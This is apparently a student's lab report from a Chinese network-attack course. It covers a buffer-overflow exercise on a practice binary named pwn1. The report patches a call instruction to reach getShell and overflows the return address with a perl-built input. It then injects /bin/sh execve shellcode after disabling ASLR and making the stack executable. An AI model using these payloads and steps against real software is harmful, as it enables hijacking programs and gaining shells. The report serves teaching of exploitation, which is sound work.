2018-2019-2 网络对抗技术 20165304 Exp1 PC平台逆向破解(BOF实验)
1.实践目的
本次实践的对象是一个名为pwn1的linux可执行文件。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
目的如下
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
老师的问题
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
JMP:E9 EA EB
CMP:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)
什么是漏洞?
我认为漏洞就是在设计上因为逻辑问题而出现的不应该出现的错误,或者说是因为编程的时候考虑不周全而出现的错误,再有就是可能因为硬件问题而导致的固有的一些问题,比如说32位机器和64位机器所导致的一些不可避免的问题,漏洞的危害当然就是导致一些程序出错,或者说导致泄密和获取不应该获取的权限。
实验收获与感想
本次实验让我充分了解了缓冲器溢出的原理与危害以及如何制造缓冲区溢出攻击,通过自己的亲自动手操作,深刻理解了直接修改程序机器指令从而达到自己想要的目的的过程,通过不合法的输入从而导致了修改函数的返回地址,从未执行另一个程序。shenllcode注入的目的就是使返回地址指向shellcode,从而造成攻击
实验一
1.首先把这个文件权限提高,使用chmod +x pwn1变成可执行
2.使用objdump -d pwn1,反汇编pwn1文件
看80484b5: e8 d7 ff ff ff call 8048491 这条指令调用08048491处的foo函数
如果想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,计算地址
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址
使用vi编辑文件,进去之后是乱码,然后使用:%!xxd转换为16进制找到d7然后修改为c3
在使用:%!xxd -r换回乱码。保存之后退出
看到已经成功保存了
执行程序pwn1获得结果
实验二
通过构造输入参数,造成BOF攻击,改变程序执行流
通过不合法的输入造成把函数的返回地址进行修改使程序执行其他的代码
先使用gdb进行调试程序,先运行程序,然后输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890
得到一个结果
发生段错误,得到一个错误的返回地址0x30393837
因为我们的是小端机器,所以说明是后面四位发生了溢出,那么我们如果想要让他跳转到其他地方就需要修改后四位地址
那我们只需要把最后四位写为\xd7\x84\x04\x08(即shellcode的起始地址0x080484d7)就OK了
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令
然后就攻击成功了
实验三
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
开始之前首先要设置堆栈可执行
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
若不能成功则使用apt-get install execstack进行更新
然后查询一下是否可执行若为X pwn1则为可执行
然后我们还需要关闭地址随机化
使用echo "0" > /proc/sys/kernel/randomize_va_space即可关闭,否则每次执行esp的值都会发生变化
然后构造一个构造一个input_shellcode
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一个窗口运行(cat input_shellcode;cat) | ./pwn1
另一个窗口运行ps -ef | grep pwn可以查看到当前进程号
然后在gdb里面attach 进程号
(gdb) disassemble foo反编译查看地址
得到0xffffd21c
计算d2c+0004为d220
然后修改input_shellcode
最终攻击成功
2018-2019-2 网络对抗技术 20165304 Exp1 PC平台逆向破解(BOF实验)的更多相关文章
- 20165221 《网络对抗技术》EXP1 PC平台逆向破解
20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...
- 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解
2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...
- 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...
- 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解
- 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...
- 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...
- 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解
2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...
- 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215
2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...
- 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解
2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...
随机推荐
- 0. General-purpose tools (通用工具 8个)
http://en.wikipedia.org/wiki/Netcat这个简单的实用程序通过TCP或UDP网络连接读写数据. 它被设计为一个可靠的后端工具,可以直接或轻松地使用其他程序和脚本驱动. 同 ...
- 通过junit写unit test
how to run test within junit & mvn: During team development , there are more than 1 person edit ...
- Actifio OnVault 8.0
- Devexpress之LayoutControl的使用及其控件布局设计
引言 Devexpress给我们提供了更加美观.更加丰富控件,但在学习和使用的同时经常会遇到诸多麻烦.今天在使用Devexpress的LayoutControl控件进行界面控件的布局设计时遇到了如下的 ...
- 解决腾讯云封锁SS(shadow--socks)访问google问题
腾讯云windows主机,若使用SS(shadow--socks)采用加密算法aes-256-cfb,访问google的时候会被dropped connection. 解决办法更改ss server加 ...
- siftflow-fcn32s训练及预测
一.说明 SIFT Flow 是一个标注的语义分割的数据集,有两个label,一个是语义分类(33类),另一个是场景标签(3类). Semantic and geometric segmentatio ...
- MongoDB解压报错gzip: stdin: not in gzip format的解决方法
MongoDB解压报错gzip: stdin: not in gzip format的解决方法 在安装MongoDB时出现如下报错: [root@vm172--- mongodb]# tar -zxv ...
- Java中所涉及到的设计模式小记
一.JAVA设计模式一共有23中.其中这23中大体可以分为3类,具体分法如下所示: 1.创建型模式:涉及到的设计模式共5种,分别是: 工厂方法模式.抽象工厂模式.单例模式.建造者模式.原型模式 2.结 ...
- 公司-半导体:Micron
ylbtech-公司-半导体:Micron 美光科技有限公司(Micron Technology, Inc.)是高级半导体解决方案的全球领先供应商之一.通过全球化的运营,美光公司制造并向市场推出DRA ...
- MySQL-exists和in的区别
SQL查询中in和exists的区别分析 对于一些不可不免的查询场景,我们难免要用到子查询 那么in和exists那个的效率更高一点呢 SQL查询中in和exists的区别分析 select * fr ...